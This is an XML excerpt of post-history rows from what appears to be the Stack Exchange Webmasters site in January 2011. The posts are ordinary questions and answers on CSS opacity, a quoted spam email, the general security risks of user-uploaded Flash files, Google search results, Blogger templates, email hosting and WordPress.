  <row Id="17948" PostHistoryTypeId="2" PostId="8333" RevisionGUID="9922078f-de3e-4369-a21b-ce194d529b79" CreationDate="2011-01-27T08:21:45.123" UserId="4949" Text="I got the following layout:&#xD;&#xA;&#xD;&#xA;&gt; body -&gt; wrapper -&gt; container&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Body has a background image,&#xD;&#xA;wrapper got this css:&#xD;&#xA;&#xD;&#xA;    #wrapper&#xD;&#xA;    {&#xD;&#xA;    	padding: 40px;&#xD;&#xA;    	width: 768px;&#xD;&#xA;    	background: #ffffff;&#xD;&#xA;    	opacity: .2;&#xD;&#xA;    	ms-filter:&quot;progid:DXImageTransform.Microsoft.Alpha(Opacity=20)&quot;;&#xD;&#xA;    	filter: alpha(opacity=20);&#xD;&#xA;    	&#xD;&#xA;    	-moz-border-radius: 11px;&#xD;&#xA;    	-webkit-border-radius: 11px;&#xD;&#xA;    	border-radius: 11px;&#xD;&#xA;    	behavior: url(border-radius.htc);&#xD;&#xA;    	&#xD;&#xA;    	margin:150px auto 0;&#xD;&#xA;    	position:relative;&#xD;&#xA;    	width:680px;&#xD;&#xA;    	z-index:2;&#xD;&#xA;    	&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;and container:&#xD;&#xA;&#xD;&#xA;    #container&#xD;&#xA;    {&#xD;&#xA;    	-moz-border-radius: 11px;&#xD;&#xA;    	-webkit-border-radius: 11px;&#xD;&#xA;    	border-radius: 11px;&#xD;&#xA;    	behavior: url(border-radius.htc);&#xD;&#xA;    	&#xD;&#xA;    	&#xD;&#xA;    	height:360px;&#xD;&#xA;    	margin:150px auto 0;&#xD;&#xA;    	position:relative;&#xD;&#xA;    	width:680px;&#xD;&#xA;    &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;My problem is that `#container` get the same opacity as `#wrapper`. I want to to have full opacity (i.e. be displayed as normal). I tried to set all opacity options to 100 (1), but that didn't help." />
  <row Id="17949" PostHistoryTypeId="1" PostId="8333" RevisionGUID="9922078f-de3e-4369-a21b-ce194d529b79" CreationDate="2011-01-27T08:21:45.123" UserId="4949" Text="Turn off opacity" />
  <row Id="17950" PostHistoryTypeId="3" PostId="8333" RevisionGUID="9922078f-de3e-4369-a21b-ce194d529b79" CreationDate="2011-01-27T08:21:45.123" UserId="4949" Text="&lt;css&gt;" />
  <row Id="17951" PostHistoryTypeId="2" PostId="8334" RevisionGUID="8885a7cc-d672-4203-a4c2-e751d81e9134" CreationDate="2011-01-27T08:36:48.513" UserId="1757" Text="AFAIK, that can't be done. Nested elements are rendered together as a single object. So if the parent element has partial opacity, then the child elements also have partial opacity. You can decrease the opacity of child elements further, but you can't make it more than the opacity of the parent they reside within.&#xD;&#xA;&#xD;&#xA;What you can do, however, is to not nest the elements and instead just overlay `#container` over `#wrapper`. This takes it out of the natural flow of elements, but it's the only way you can create the illusion of a child element having greater opacity than its parent." />
  <row Id="17952" PostHistoryTypeId="2" PostId="8335" RevisionGUID="53d9cb46-d6a7-4a66-8c37-f63cd6dca6d1" CreationDate="2011-01-27T09:01:29.810" UserId="4951" Text="I received this spam in my catch-all. I am really curious what the reason for this mail is. It was sent to a non-existent user &quot;tania&quot; on my domain - here I used mydomain.zzz&#xD;&#xA;&#xD;&#xA;    Delivered-To: arbitraryname@mydomain.zzz&#xD;&#xA;    Received: (qmail 8015 invoked from network); 27 Jan 2011 02:32:47 -0000&#xD;&#xA;    Received: from unknown (HELO p3pismtp01-021.prod.phx3.secureserver.net) ([10.6.12.26])&#xD;&#xA;              (envelope-sender &lt;Planet1@dt3ls.com&gt;)&#xD;&#xA;              by smtp35.prod.mesa1.secureserver.net (qmail-1.03) with SMTP&#xD;&#xA;              for &lt;arbitraryname@mydomain.zzz&gt;; 27 Jan 2011 02:32:47 -0000&#xD;&#xA;    X-IronPort-Anti-Spam-Result: At4FAAlnQE1GVjtCVGdsb2JhbACWXo4gCwEWCA0YJLwyhU8EhRc&#xD;&#xA;    Received: from mx.dt3ls.com ([70.86.59.66])&#xD;&#xA;      by p3pismtp01-021.prod.phx3.secureserver.net with ESMTP; 26 Jan 2011 19:32:47 -0700&#xD;&#xA;    Received: from 70.86.59.66&#xD;&#xA;            by mx.dt3ls.com (Merak 8.9.1) with ASMTP id JXF39710&#xD;&#xA;            for &lt;arbitraryname@mydomain.zzz&gt;; Wed, 26 Jan 2011 17:31:10 -0500&#xD;&#xA;    Return-Path: Planet1@dt3ls.com&#xD;&#xA;    Status: &#xD;&#xA;    Message-ID: &lt;20110126173109.4d9d6c3f2b@1c3c&gt;&#xD;&#xA;    From: &quot;Tech Support&quot; &lt;Planet1@dt3ls.com&gt;&#xD;&#xA;    To: &lt;arbitraryname@mydomain.zzz&gt;&#xD;&#xA;    Subject: Information, as instructed.&#xD;&#xA;    Date: Wed, 26 Jan 2011 17:31:09 -0500&#xD;&#xA;    X-Priority: 3&#xD;&#xA;    X-Mailer: General-Mailer v.3&#xD;&#xA;    MIME-Version: 1.0&#xD;&#xA;    Content-Type: text/plain;&#xD;&#xA;      charset=&quot;us-ascii&quot;&#xD;&#xA;    Content-Transfer-Encoding: 7bit&#xD;&#xA;    &#xD;&#xA;    Quote:&#xD;&#xA;    &#xD;&#xA;    I give it to you not that you may remember time, but that you might &#xD;&#xA;    forget it now and then for a moment and not spend all your breath trying &#xD;&#xA;    to conquer it. Because no battle is ever won he said. They are not even &#xD;&#xA;    fought. The field reveals to a man his own folly and despair, and victory &#xD;&#xA;    is an illusion of philosophers and fools.&#xD;&#xA;    &#xD;&#xA;    William Faulkner&#xD;&#xA;    The Sound and the Fury&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17953" PostHistoryTypeId="1" PostId="8335" RevisionGUID="53d9cb46-d6a7-4a66-8c37-f63cd6dca6d1" CreationDate="2011-01-27T09:01:29.810" UserId="4951" Text="What is the aim of this email? Is this a ping/sping? " />
  <row Id="17954" PostHistoryTypeId="3" PostId="8335" RevisionGUID="53d9cb46-d6a7-4a66-8c37-f63cd6dca6d1" CreationDate="2011-01-27T09:01:29.810" UserId="4951" Text="&lt;spam&gt;" />
  <row Id="17955" PostHistoryTypeId="2" PostId="8336" RevisionGUID="20dc067f-6755-4fb7-9bb9-06cb797b8d19" CreationDate="2011-01-27T09:16:14.443" UserId="1089" Text="I would say yes there are security considerations of allowing users to upload flash files.&#xD;&#xA;&#xD;&#xA;The security issues may not be internal - by that I mean a threat to your server, but if your website is hosting flash files which can [comprimise a users machine][1], or something equally nasty then your likely to experience problems building/maintaining a user-base or community.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://news.cnet.com/8301-1009_3-20006893-83.html" />
  <row Id="17956" PostHistoryTypeId="5" PostId="8313" RevisionGUID="eeda7443-b33f-4af1-8421-c748f1e023da" CreationDate="2011-01-27T09:18:31.887" UserId="4643" Comment="added 363 characters in body; added 189 characters in body; deleted 1 characters in body" Text="I am frequently googling and more and more frequently bump when searching by one software product I am given instead the results on Google's own products.  &#xD;&#xA;&#xD;&#xA;For ex., if I google by keyword &#xD;&#xA;&#xD;&#xA;  - keycaptcha  &#xD;&#xA;for the &quot;Past 24 hours&quot; (after clicking on &quot;Show search tools&quot; --&gt; &quot;Past 24 hours&quot; on the left sidebar of a browser)  I am getting the [Google's search results show only results on reCAPTCHA][1].  &#xD;&#xA;&#xD;&#xA;Though, if confine keycaptcha in quotes [the results are &quot;correct&quot;][2] (well, kind of since they are still distorted in comparison with other search engines).  &#xD;&#xA;I checked this during few months from different domains at different ISPs, different operating systems and from a dozen of browsers.   &#xD;&#xA;The results are the same.  &#xD;&#xA;&#xD;&#xA;Why is it and how can it be possibly corrected?  &#xD;&#xA;&#xD;&#xA;My related posts:   &#xD;&#xA; &#xD;&#xA;  - [&quot;How Gmail spam filter works?&quot;][3]  &#xD;&#xA;  - [IP adresses blacklisting][4]  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Update:**  &#xD;&#xA;It is impossible for me to directly start using google.com as I am always redirected to google.ru (from google.com) by my ip-address &quot;auto-detect location&quot; google's &quot;convenience&quot;.  &#xD;&#xA;The [google's help tells that it is impossible to switch off my location auto-detection because it is very helpful feature][5]. &#xD;&#xA;  &#xD;&#xA;There is [a work-around to use google.com/ncr]  &#xD;&#xA;(?anybody know what does it mean)  &#xD;&#xA;to prevent redirection from google.com but even [using this workaround, i.e. through google.com but not google.ru,  I am getting reCAPTCHA results ONLY on google.com-ing by keycaptcha with &quot;Past 24 hours&quot; option][6]   &#xD;&#xA;&#xD;&#xA;OK, I can search by quoted &quot;keycaptcha&quot;, I am already accustomed to these google's quirks, but the question arises why the heck to burn time promoting someone's product if GOOGLE uses other product brands for showing its own interests/brands (reCAPTCHA) instead and what can be done with it?   &#xD;&#xA;The general user will not understand that he was cheated and just will pick up the first (wrong) results   &#xD;&#xA;&#xD;&#xA;**Update2:**  &#xD;&#xA;Note that this googling behaviour:&#xD;&#xA;&#xD;&#xA;  -  is independent on whether I am logged-in (or log-out-ed of) a google account, which account, on browser (I tried Opera, Chrome, FireFox, IE of different versions, Safari), OS or even domain;&#xD;&#xA;  - there are many such cases but I just targeted one concrete restricted example speciffically to to prevent wandering between unrelated details and peculiarities;   &#xD;&#xA;&#xD;&#xA;@[Michael][7], &#xD;&#xA;first it is not true and this text contains 2 links for real and significant results..  &#xD;&#xA;I also wrote that this is just one concrete example from many and based on many-month exp.  &#xD;&#xA;&#xD;&#xA;Second, the absence of the results is the result and there is no point to substitute it by another.  &#xD;&#xA;&#xD;&#xA;3d, the question is not abt workarounds like how to write search queries or use another searching engines.  &#xD;&#xA;&#xD;&#xA;The question is how to straighten the googling's results in order to stop disorienting general public about.  &#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.ru/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [2]: http://www.google.com/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [3]: http://stackoverflow.com/questions/3312729/how-gmail-spam-filter-works/4809392#4809392&#xD;&#xA;  [4]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734&#xD;&#xA;  [5]: http://www.google.com/support/websearch/bin/answer.py?answer=179386&amp;hl=en&amp;tbo=1&#xD;&#xA;  [6]: http://www.google.com/#q=keycaptcha&amp;hl=en&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:d&amp;sa=X&amp;ei=eedATYOyJsuaOr_svJ8I&amp;ved=0CAgQpwUoAg&amp;fp=d99ec83a3d63f24&#xD;&#xA;  [7]: http://Michael" />
  <row Id="17957" PostHistoryTypeId="5" PostId="8313" RevisionGUID="832ab044-3d98-44f2-af6a-360b90021582" CreationDate="2011-01-27T09:31:27.797" UserId="4643" Comment="added 197 characters in body" Text="I am frequently googling and more and more frequently bump when searching by one software product I am given instead the results on Google's own products.  &#xD;&#xA;&#xD;&#xA;For ex., if I google by keyword &#xD;&#xA;&#xD;&#xA;  - keycaptcha  &#xD;&#xA;for the &quot;Past 24 hours&quot; (after clicking on &quot;Show search tools&quot; --&gt; &quot;Past 24 hours&quot; on the left sidebar of a browser)  I am getting the [Google's search results show only results on reCAPTCHA][1].  &#xD;&#xA;&#xD;&#xA;Though, if confine keycaptcha in quotes [the results are &quot;correct&quot;][2] (well, kind of since they are still distorted in comparison with other search engines).  &#xD;&#xA;I checked this during few months from different domains at different ISPs, different operating systems and from a dozen of browsers.   &#xD;&#xA;The results are the same.  &#xD;&#xA;&#xD;&#xA;Why is it and how can it be possibly corrected?  &#xD;&#xA;&#xD;&#xA;My related posts:   &#xD;&#xA; &#xD;&#xA;  - [&quot;How Gmail spam filter works?&quot;][3]  &#xD;&#xA;  - [IP adresses blacklisting][4]  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Update:**  &#xD;&#xA;It is impossible for me to directly start using google.com as I am always redirected to google.ru (from google.com) by my ip-address &quot;auto-detect location&quot; google's &quot;convenience&quot;.  &#xD;&#xA;The [google's help tells that it is impossible to switch off my location auto-detection because it is very helpful feature][5]. &#xD;&#xA;  &#xD;&#xA;There is [a work-around to use google.com/ncr]  &#xD;&#xA;(?anybody know what does it mean)  &#xD;&#xA;to prevent redirection from google.com but even [using this workaround, i.e. through google.com but not google.ru,  I am getting reCAPTCHA results ONLY on google.com-ing by keycaptcha with &quot;Past 24 hours&quot; option][6]   &#xD;&#xA;&#xD;&#xA;OK, I can search by quoted &quot;keycaptcha&quot;, I am already accustomed to these google's quirks, but the question arises why the heck to burn time promoting someone's product if GOOGLE uses other product brands for showing its own interests/brands (reCAPTCHA) instead and what can be done with it?   &#xD;&#xA;The general user will not understand that he was cheated and just will pick up the first (wrong) results   &#xD;&#xA;&#xD;&#xA;**Update2:**  &#xD;&#xA;Note that this googling behaviour:&#xD;&#xA;&#xD;&#xA;  -  is independent on whether I am logged-in (or log-out-ed of) a google account, which account, on browser (I tried Opera, Chrome, FireFox, IE of different versions, Safari), OS or even domain;&#xD;&#xA;  - there are many such cases but I just targeted one concrete restricted example speciffically to to prevent wandering between unrelated details and peculiarities;   &#xD;&#xA;&#xD;&#xA;@[Michael][7], &#xD;&#xA;first it is not true and this text contains 2 links for real and significant results..  &#xD;&#xA;I also wrote that this is just one concrete example from many and based on many-month exp.  &#xD;&#xA;&#xD;&#xA;These distortions happen upon clicking on: &#xD;&#xA;  &#xD;&#xA;  -   Past 24 hours, &#xD;&#xA;  - Past week, &#xD;&#xA;  - Past month, &#xD;&#xA;  - Past year&#xD;&#xA;  - in many other keywords, occasions/configurations of searches, etc. &#xD;&#xA;&#xD;&#xA;Second, the absence of the results is the result and there is no point to substitute it by another.  &#xD;&#xA;&#xD;&#xA;3d, the question is not abt workarounds like how to write search queries or use another searching engines.  &#xD;&#xA;&#xD;&#xA;The question is how to straighten the googling's results in order to stop disorienting general public about.  &#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.ru/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [2]: http://www.google.com/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [3]: http://stackoverflow.com/questions/3312729/how-gmail-spam-filter-works/4809392#4809392&#xD;&#xA;  [4]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734&#xD;&#xA;  [5]: http://www.google.com/support/websearch/bin/answer.py?answer=179386&amp;hl=en&amp;tbo=1&#xD;&#xA;  [6]: http://www.google.com/#q=keycaptcha&amp;hl=en&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:d&amp;sa=X&amp;ei=eedATYOyJsuaOr_svJ8I&amp;ved=0CAgQpwUoAg&amp;fp=d99ec83a3d63f24&#xD;&#xA;  [7]: http://Michael" />
  <row Id="17961" PostHistoryTypeId="2" PostId="8338" RevisionGUID="7ff727db-da3e-4a9b-b3ac-adadd0a5be9b" CreationDate="2011-01-27T09:44:21.193" UserId="2436" Text="**Does anyone know of any good (free) Blogger template for Photo Galleries?**&#xD;&#xA;&#xD;&#xA;I need something Simple, just for photos (no need for text).&#xD;&#xA;&#xD;&#xA;I found a wonderful one, but I can't get it to work properly (it doesn't display always the same number of posts on the page, and it only displays 3 posts, not like their example)&#xD;&#xA;&#xD;&#xA; - Template: http://www.be-insight.com/2009/10/free-blogger-template-hybrid-gallery.html&#xD;&#xA;&#xD;&#xA; - Demo: http://templatehybridgallery.blogspot.com/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Ps.: If you know of any good tutorial for me to make my own, I'd apreciate it too" />
  <row Id="17962" PostHistoryTypeId="1" PostId="8338" RevisionGUID="7ff727db-da3e-4a9b-b3ac-adadd0a5be9b" CreationDate="2011-01-27T09:44:21.193" UserId="2436" Text="Good Photo Gallery template for BLOGGER (or tutorial)" />
  <row Id="17963" PostHistoryTypeId="3" PostId="8338" RevisionGUID="7ff727db-da3e-4a9b-b3ac-adadd0a5be9b" CreationDate="2011-01-27T09:44:21.193" UserId="2436" Text="&lt;template&gt;&lt;blogger&gt;&lt;photo&gt;" />
  <row Id="17964" PostHistoryTypeId="25" PostId="8333" RevisionGUID="96b52f95-c3d3-4d93-a121-a5e2047f67d2" CreationDate="2011-01-27T11:16:00.983" Comment="http://twitter.com/#!/StackWebmasters/status/30584806689472513" />
  <row Id="17968" PostHistoryTypeId="2" PostId="8340" RevisionGUID="db5adb9c-52b4-4aec-bcef-94f6c8bf847d" CreationDate="2011-01-27T11:39:30.667" UserId="3461" Text="You might want to have a look at JW Player :&#xD;&#xA;&#xD;&#xA;http://www.longtailvideo.com/players/jw-flv-player&#xD;&#xA;&#xD;&#xA;http://developer.longtailvideo.com/trac/" />
  <row Id="17969" PostHistoryTypeId="2" PostId="8341" RevisionGUID="6c3514d2-cdc2-4124-8213-e1d477ce543b" CreationDate="2011-01-27T12:02:58.190" UserId="1757" Text="I'm not a Flash programmer, and I know that Flash has a weird way of handling cookies/sessions (I *think* it uses your IE sessions regardless of which browser the plugin is being run from), but you may still have some potential CSRF/XSS problems.&#xD;&#xA;&#xD;&#xA;The problem I foresee is a user uploading a malicious Flash movie that can then be used to launch CSRF attacks when embedded from any domain. If the Flash movie gets embedded in a page in your domain, then an XSS attack can be launched.&#xD;&#xA;&#xD;&#xA;And, although not related to uploading Flash files, you may also want to prevent users from uploading a `crossdomain.xml` file. This file is normally placed in your domain root, but it can also be used from arbitrary locations if you specify it in the flash movie.&#xD;&#xA;&#xD;&#xA;And as Michael mentioned, malicious Flash movies can also be dangerous to user computers. I'm not sure if the latest version has any open remote code execution vulnerabilities, but Flash has a pretty poor record. I would be very careful about allowing users to upload Flash movies. You may want to look into some kind of AV scanner that can detect malicious Flash files." />
  <row Id="17970" PostHistoryTypeId="2" PostId="8342" RevisionGUID="c799e81b-de68-44c8-a423-f9f2b59f24a5" CreationDate="2011-01-27T12:16:19.017" UserId="3461" Text="   1. 960px, (with or without a grid system) yes, is a good fit. The majority of screens out there are above 1024 or 1024 (wide. Actually 960 is due to the scroll bars, etc), 800x600 has become less and less (very low % according to my stats...) used, although smaller resolutions are being a bit more common for mobiles and handhelds, but is better to do alternate pages/systems for those devices, rather than sacrifice so much the design, IMHO. Some people though design at 770px, or something like that. We are talking here about fixed width pages, usually centered. But depending on the type of site, you could also do liquid layouts. phpBB forums are a good example of it. &#xD;&#xA;&#xD;&#xA;   2. use &quot;slices&quot;. You create them with &quot;slice&quot; tool, is a &quot;cutter&quot; icon.Just be sure &quot;Snap&quot; is on, at &quot;View&quot; menu, and that snap to slices is on, there. Also that snap to document bounds is on. Snap to layer often becomes more a problem if ON, in my experience... You just draw you slices, and save the psd, so they will be allways there. If need to change layout a bit, change them also, use zoom to adjust to pixel. Zoomed in, you can adjust the margins of the slice, clicking everywhere on the margin. So if you export often with changes, this becomes more and more useful.&#xD;&#xA;&#xD;&#xA;   3. I don't understand  this one.&#xD;&#xA;&#xD;&#xA;   4. They are not &quot;informed&quot;... You just decide what is it going to be. If it's going to be liquid, you can do an abstraction, set whatever size of the dynami area, as that you will handle with code. Just use a usual width to make a visual idea as you work. And use sectors, again, using fixed width for the elements that are fixed (icons, etc)&#xD;&#xA;&#xD;&#xA;Tips... Use Photoshop &quot;Actions&quot; when it has sense. So you will automate certain things. Work on the psd only for first drafts, in the brain storming stage. Code once the visual design is generally acepted.&#xD;&#xA;&#xD;&#xA;Edit: 3. I think you mean setting a div with a width and height of the exact content area , a slice of the whole header image, where your logo is. Give the div a background  with that exact sliced chunk . You can redefine by css the &lt;a&gt;&lt;/a&gt; tag inside that div, setting it to be display:block, having the exact width and height of the &quot;hot area&quot; , usually the logo, to link to home.html, for example.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17971" PostHistoryTypeId="5" PostId="8342" RevisionGUID="93c822f9-79d8-40f3-ab9a-7d175c5e0108" CreationDate="2011-01-27T12:22:31.660" UserId="3461" Comment="added 1 characters in body; added 163 characters in body; added 4 characters in body; added 59 characters in body; added 22 characters in body; added 2 characters in body" Text="   1. 960px, (with or without a grid system) yes, is a good fit. The majority of screens out there are above 1024 or 1024 (wide. Actually 960 is due to the scroll bars, etc), 800x600 has become less and less (very low % according to my stats...) used, although smaller resolutions are being a bit more common for mobiles and handhelds, but is better to do alternate pages/systems for those devices, rather than sacrifice so much the design, IMHO. Some people though design at 770px, or something like that. We are talking here about fixed width pages, usually centered. But depending on the type of site, you could also do liquid layouts. phpBB forums are a good example of it. &#xD;&#xA;&#xD;&#xA;   2. use &quot;slices&quot;. You create them with &quot;slice&quot; tool, is a &quot;cutter&quot; icon.Just be sure &quot;Snap&quot; is on, at &quot;View&quot; menu, and that snap to slices is on, there. Also that snap to document bounds is on. Snap to layer often becomes more a problem if ON, in my experience... You just draw you slices, and save the psd, so they will be allways there. If need to change layout a bit, change them also, use zoom to adjust to pixel. Zoomed in, you can adjust the margins of the slice, clicking everywhere on the margin. So if you export often with changes, this becomes more and more useful.&#xD;&#xA;&#xD;&#xA;   3. I don't understand  this one.&#xD;&#xA;&#xD;&#xA;   4. They are not &quot;informed&quot;... You just decide what is it going to be. If it's going to be liquid, you can do an abstraction, set whatever size of the dynamic area, as that you will handle with code. Just use a usual width to make a visual idea as you work. And use sectors, again, using fixed width for the elements that are fixed (icons, etc)&#xD;&#xA;&#xD;&#xA;Tips... Use Photoshop &quot;Actions&quot; when it has sense. So you will automate certain things. Work on the psd only for first drafts, in the brain storming stage. Code once the visual design is generally acepted. &#xD;&#xA;&#xD;&#xA;Other tip: Don't use the web export code of PS. Just make the width of your elements as you need them, then put those widths and heights in your css classes page.&#xD;&#xA;&#xD;&#xA;Edit: 3. I think you mean setting a div with a width and height of the exact content area , a slice of the whole header image, where your logo is. Give the div a background (by asigning to it a css class with that width and height, and background image)  with that exact sliced chunk . You can redefine by css the `&lt;a&gt;&lt;/a&gt;` tag inside that div, setting it to be display:block, having the exact width and height of the &quot;hot area&quot; , usually the logo, to link to home.html, for example.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17972" PostHistoryTypeId="2" PostId="8343" RevisionGUID="f4345df4-7b02-4710-956e-c05ced60816c" CreationDate="2011-01-27T12:30:47.627" UserId="3461" Text="Be sure to check the specifity. Sometimes you might have set a:visited for whole Body, or just a general redefine, so it has more weight. I often just use a parent id (IDs have more weight than classes) like `#container whateverClasss a:visited {color:#000;}` . Adding a !important; might also work, but imo is worse. Keeping an order in general is best." />
  <row Id="17973" PostHistoryTypeId="2" PostId="8344" RevisionGUID="2bfbb450-9abf-461a-a72c-3d1726d44e1c" CreationDate="2011-01-27T12:14:15.737" UserDisplayName="Christian Fazzini" Text="We are looking for a good way to have email support. In theory, we need to allow end-users to send emails directly to support and careers. i.e. support@domain_name_here.com and careers@domain_name_here.com.&#xD;&#xA;&#xD;&#xA;Second, we need to provide emails to our staff. So each staff member has their own email address. i.e. joe@domain_name_here.com, meghan@domain_name_here.com, etc.&#xD;&#xA;&#xD;&#xA;[Google Apps][1] is one that we are considering. However, they are charging $50 per user, per year. Not so bad, considering the quality and the features they offer.&#xD;&#xA;&#xD;&#xA;However, there are also cheaper alternatives. i.e. my domain registrar offers an email plan for $20 / year / 10 emails. [Go Daddy][2] has a number of plans and still a lot more affordable than Google Apps. So far Namecheap and Go Daddy are the only ones I have looked at for email plans.&#xD;&#xA;&#xD;&#xA;Is it worth signing up with Google Apps? Or are there better alternatives?&#xD;&#xA;&#xD;&#xA;Your thoughts?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/apps/intl/en/group/index.html&#xD;&#xA;  [2]: http://www.godaddy.com/email/email-hosting.aspx?ci=8973" />
  <row Id="17974" PostHistoryTypeId="1" PostId="8344" RevisionGUID="2bfbb450-9abf-461a-a72c-3d1726d44e1c" CreationDate="2011-01-27T12:14:15.737" UserDisplayName="Christian Fazzini" Text="Email provider - suggestions needed" />
  <row Id="17975" PostHistoryTypeId="3" PostId="8344" RevisionGUID="2bfbb450-9abf-461a-a72c-3d1726d44e1c" CreationDate="2011-01-27T12:14:15.737" UserDisplayName="Christian Fazzini" Text="&lt;ruby-on-rails&gt;&lt;email&gt;&lt;heroku&gt;" />
  <row Id="17976" PostHistoryTypeId="17" PostId="8344" RevisionGUID="da3d62d7-6ff6-4435-a14b-c3e26a912556" CreationDate="2011-01-27T13:10:07.007" UserId="-1" Comment="from http://stackoverflow.com/questions/4816151/email-provider-suggestions-needed" Text="" />
  <row Id="17977" PostHistoryTypeId="2" PostId="8345" RevisionGUID="8f74cd28-e400-41cf-859b-8127aebecb44" CreationDate="2011-01-27T13:57:21.530" UserId="4953" Text="I know this isn't properly a technical question but I hope this is ok here.&#xD;&#xA;&#xD;&#xA;The question is simple: **how much should I charge a customer for a Wordpress installation &amp; configuration?** Configuration simply means I have to install him a theme (which is not provided by me), various plugins and maybe edit some lines of code here and there to make the whole thing work fine." />
  <row Id="17978" PostHistoryTypeId="1" PostId="8345" RevisionGUID="8f74cd28-e400-41cf-859b-8127aebecb44" CreationDate="2011-01-27T13:57:21.530" UserId="4953" Text="How much to charge for Wordpress installation?" />
  <row Id="17979" PostHistoryTypeId="3" PostId="8345" RevisionGUID="8f74cd28-e400-41cf-859b-8127aebecb44" CreationDate="2011-01-27T13:57:21.530" UserId="4953" Text="&lt;wordpress&gt;&lt;pricing&gt;" />
  <row Id="17980" PostHistoryTypeId="25" PostId="8332" RevisionGUID="7ad4d839-19c3-4f8c-9c0b-c6cd901e7e0f" CreationDate="2011-01-27T14:16:01.593" Comment="http://twitter.com/#!/StackWebmasters/status/30630107903172608" />
  <row Id="17981" PostHistoryTypeId="2" PostId="8346" RevisionGUID="04b67d95-17ae-4595-959d-fd8b21ec35b6" CreationDate="2011-01-27T14:21:02.023" UserId="2232" Text="I have a simple form, looking soemthing like this:&#xD;&#xA;&#xD;&#xA;    &lt;form&gt;&#xD;&#xA;      &lt;div class=&quot;r1&quot;&gt;&lt;label&gt;Some text 1&lt;/label&gt;&lt;/div&gt;&#xD;&#xA;      &lt;div class=&quot;r2&quot;&gt;&lt;input type=&quot;radio&quot;&gt;&lt;label&gt;Some text 2&lt;/label&gt;&lt;/div&gt;&#xD;&#xA;      &lt;div class=&quot;r3&quot;&gt;&lt;input type=&quot;radio&quot;&gt;&lt;label&gt;Some text 3&lt;/label&gt;&lt;/div&gt;&#xD;&#xA;    &lt;/form&gt;&#xD;&#xA;&#xD;&#xA;I can't change this HTML, it is given. It renders something like this:&#xD;&#xA;&#xD;&#xA;    Some text 1&#xD;&#xA;    o Some text 2&#xD;&#xA;    o Some text 3&#xD;&#xA;    &#xD;&#xA;I need to align the first label with all the other labels, so that it looks like this:&#xD;&#xA;&#xD;&#xA;      Some text 1&#xD;&#xA;    o Some text 2&#xD;&#xA;    o Some text 3&#xD;&#xA;&#xD;&#xA;The obvious way to do that is to use a 14px (the width of the radiobutton widget) margin or padding on the &quot;r1&quot; div. This works only as long as you don't switch operating systems or desktop themes (when the size of the widget changes) or zoom in/out the page (when the size of pixels changes, but the the size of the widget stays the same).&#xD;&#xA;&#xD;&#xA;Is there any way to reliably make horizontal space the same width as of the radiobutton, without modifying the html and puttin an actual fake radiobutton in there and hiding it?" />
  <row Id="17982" PostHistoryTypeId="1" PostId="8346" RevisionGUID="04b67d95-17ae-4595-959d-fd8b21ec35b6" CreationDate="2011-01-27T14:21:02.023" UserId="2232" Text="Align margin to radiobutton width" />
  <row Id="17983" PostHistoryTypeId="3" PostId="8346" RevisionGUID="04b67d95-17ae-4595-959d-fd8b21ec35b6" CreationDate="2011-01-27T14:21:02.023" UserId="2232" Text="&lt;html&gt;&lt;css&gt;&lt;forms&gt;" />
  <row Id="17984" PostHistoryTypeId="2" PostId="8347" RevisionGUID="f48b1378-656e-4d39-a881-b849cca88595" CreationDate="2011-01-27T14:36:18.050" UserId="2496" Text="&lt;a href=&quot;http://wordpress.org/extend/plugins/search-regex/&quot;&gt;Search RegEx&lt;/a&gt; is a good plugin to be able to search and replace with Grep through all posts and pages. With that, you can change your shortcodes to the default &lt;a href=&quot;http://codex.wordpress.org/Embeds&quot;&gt;Embeds « WordPress Codex&lt;/a&gt; that self-hosted Wordpress uses, which in its simplest form is just the URL.&#xD;&#xA;&#xD;&#xA;Or use &lt;a href=&quot;http://wordpress.org/extend/plugins/vipers-video-quicktags/&quot;&gt;WordPress › Viper's Video Quicktags « WordPress Plugins&lt;/a&gt; and search/replace to convert to that form of shortcode.&#xD;&#xA;&#xD;&#xA;And http://wordpress.stackexchange.com/ is a better place for Wordpress questions." />
